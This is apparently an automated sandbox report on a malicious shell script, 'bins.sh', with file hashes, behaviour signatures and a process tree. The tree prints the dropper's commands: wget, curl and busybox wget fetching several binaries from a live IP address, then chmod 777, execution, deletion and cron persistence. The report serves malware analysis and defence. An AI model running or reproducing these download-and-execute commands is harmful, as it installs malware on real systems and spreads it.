Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240729-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    24-11-2024 06:16

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    b643808c01faa0f92bf870288eb8dd16

  • SHA1

    494306996b3ee0573b6da340ee334523cd39f9eb

  • SHA256

    b594f506a2b2e54b98f320880c32150a5c66038299c0f69d9f7105521f0b89ad

  • SHA512

    f8e2bed091a7cf127f3feadc979a7ee81e9835a68b98f78afc737f354cdf3348e42f4551cc47d805e0734fd77e02963e665aad84c33c02e18395f86754ae24cb

  • SSDEEP

    96:+Hb3G9hf3INVTX1G+Emzer6e0D7tAokHbrf3+PTX1G+1emzer6wN6W:+Hb3VvTX1G+EmzereTX1G+Mmzerx

Malware Config

Signatures

  • Contacts a large (2014) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 21 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1502
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1503
        • /usr/bin/wget
          wget http://216.126.231.240/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
          • Writes file to tmp directory
          PID:1504
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
          • Writes file to tmp directory
          PID:1509
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
          • Writes file to tmp directory
          PID:1510
        • /bin/chmod
          chmod 777 Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
          • File and Directory Permissions Modification
          PID:1511
        • /tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          ./Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
          • Executes dropped EXE
          PID:1512
        • /bin/rm
          rm Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59
          2⤵
            PID:1514
          • /usr/bin/wget
            wget http://216.126.231.240/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            2⤵
            • Writes file to tmp directory
            PID:1515
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            2⤵
            • Writes file to tmp directory
            PID:1516
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            2⤵
            • Writes file to tmp directory
            PID:1517
          • /bin/chmod
            chmod 777 RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            2⤵
            • File and Directory Permissions Modification
            PID:1518
          • /tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            ./RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            2⤵
            • Executes dropped EXE
            PID:1519
          • /bin/rm
            rm RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7
            2⤵
              PID:1521
            • /usr/bin/wget
              wget http://216.126.231.240/bins/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              2⤵
              • Writes file to tmp directory
              PID:1522
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              2⤵
              • Writes file to tmp directory
              PID:1523
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              2⤵
              • Writes file to tmp directory
              PID:1524
            • /bin/chmod
              chmod 777 CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              2⤵
              • File and Directory Permissions Modification
              PID:1525
            • /tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              ./CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              2⤵
              • Executes dropped EXE
              PID:1526
            • /bin/rm
              rm CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs
              2⤵
                PID:1528
              • /usr/bin/wget
                wget http://216.126.231.240/bins/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                2⤵
                • Writes file to tmp directory
                PID:1529
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                2⤵
                • Writes file to tmp directory
                PID:1530
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                2⤵
                • Writes file to tmp directory
                PID:1531
              • /bin/chmod
                chmod 777 QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                2⤵
                • File and Directory Permissions Modification
                PID:1532
              • /tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                ./QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                2⤵
                • Executes dropped EXE
                PID:1533
              • /bin/rm
                rm QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q
                2⤵
                  PID:1535
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
                  2⤵
                  • Writes file to tmp directory
                  PID:1536
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
                  2⤵
                  • Writes file to tmp directory
                  PID:1537
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
                  2⤵
                  • Writes file to tmp directory
                  PID:1538
                • /bin/chmod
                  chmod 777 z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1539
                • /tmp/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
                  ./z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
                  2⤵
                  • Executes dropped EXE
                  PID:1540
                • /bin/rm
                  rm z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF
                  2⤵
                    PID:1542
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
                    2⤵
                    • Writes file to tmp directory
                    PID:1543
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
                    2⤵
                    • Writes file to tmp directory
                    PID:1544
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
                    2⤵
                    • Writes file to tmp directory
                    PID:1545
                  • /bin/chmod
                    chmod 777 8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1546
                  • /tmp/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
                    ./8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
                    2⤵
                    • Executes dropped EXE
                    PID:1547
                  • /bin/rm
                    rm 8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB
                    2⤵
                      PID:1549
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
                      2⤵
                      • Writes file to tmp directory
                      PID:1550
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
                      2⤵
                      • Writes file to tmp directory
                      PID:1551
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
                      2⤵
                      • Writes file to tmp directory
                      PID:1552
                    • /bin/chmod
                      chmod 777 nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1553
                    • /tmp/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
                      ./nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:1554
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:1556
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:1557
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:1558
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:1559
                          • /bin/rm
                            rm nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av
                            2⤵
                              PID:1561
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/roxI1Sl100oqiDJmwVpT114qHXrdfSqHVC
                              2⤵
                                PID:1564

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/8cIkc4wMN3wg5GcmLlxlVD8do2DzxhnxxB

                              Filesize

                              117KB

                              MD5

                              849fa04ef88a8e8de32cb2e8538de5fe

                              SHA1

                              c768af29fe4b6695fff1541623e8bbd1c6f242f7

                              SHA256

                              8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                              SHA512

                              2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                            • /tmp/CNnqpBeZY3eAPzyWH8uczPvp6Qiui3bHSs

                              Filesize

                              141KB

                              MD5

                              3ca8decdb1e52c423c521bfff02ac200

                              SHA1

                              8621ecd6807109b8541912ad9e134f6fb49bfd48

                              SHA256

                              dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                              SHA512

                              b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                            • /tmp/Jnxpi2LTAq7X3Q1CRYhQxDDigmLBKHkN59

                              Filesize

                              107KB

                              MD5

                              eb9c3a0de91fcf16ba17cb24608df68c

                              SHA1

                              09d95a7d70d5e115d103be51edff7c498d272fac

                              SHA256

                              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                              SHA512

                              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                            • /tmp/QcVUZ7ZSEFixj5aVVVGoWZOGTnXoXhjm3Q

                              Filesize

                              151KB

                              MD5

                              6c583043d91c55aa470c08c87058e917

                              SHA1

                              abf65a5b9bba69980278ad09356e53de8bb89439

                              SHA256

                              2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                              SHA512

                              82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                            • /tmp/RObPHysGT5dMGEMe7zTmLCq6UE6FTq2Ut7

                              Filesize

                              177KB

                              MD5

                              786d75a158fe731feca3880f436082c0

                              SHA1

                              79ea2734e43d00cdeabed5586b2c1994d02aef3e

                              SHA256

                              5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                              SHA512

                              7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                            • /tmp/nBuRg1cvNzMbbnucShgz1ppnOh5JP318Av

                              Filesize

                              112KB

                              MD5

                              05d7857dcead18bbd86d2935f591873c

                              SHA1

                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                              SHA256

                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                              SHA512

                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                            • /tmp/z25gEXNIJE5CQauEjrWBNsO2haINoBkLWF

                              Filesize

                              111KB

                              MD5

                              ca897a38f23ec23521ce0b1b83f8422d

                              SHA1

                              b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                              SHA256

                              043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                              SHA512

                              10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                            • /var/spool/cron/crontabs/tmp.5u5QJr

                              Filesize

                              210B

                              MD5

                              f75d42d66212ee787304700c888da0aa

                              SHA1

                              0ba3a7c79b73112918ae45ac97ce47e2c11da88d

                              SHA256

                              d9be168cd5447d4325b51e183338a1b93a649f707deb3e0694cc25c66a74f71c

                              SHA512

                              30ab6823b147569209ec51cf2a357191ec46a44a9aa73598bb378f268a809c3d55a3e42201ec298568645212c354dc31f52198a841ef6066bd3112309d5f4417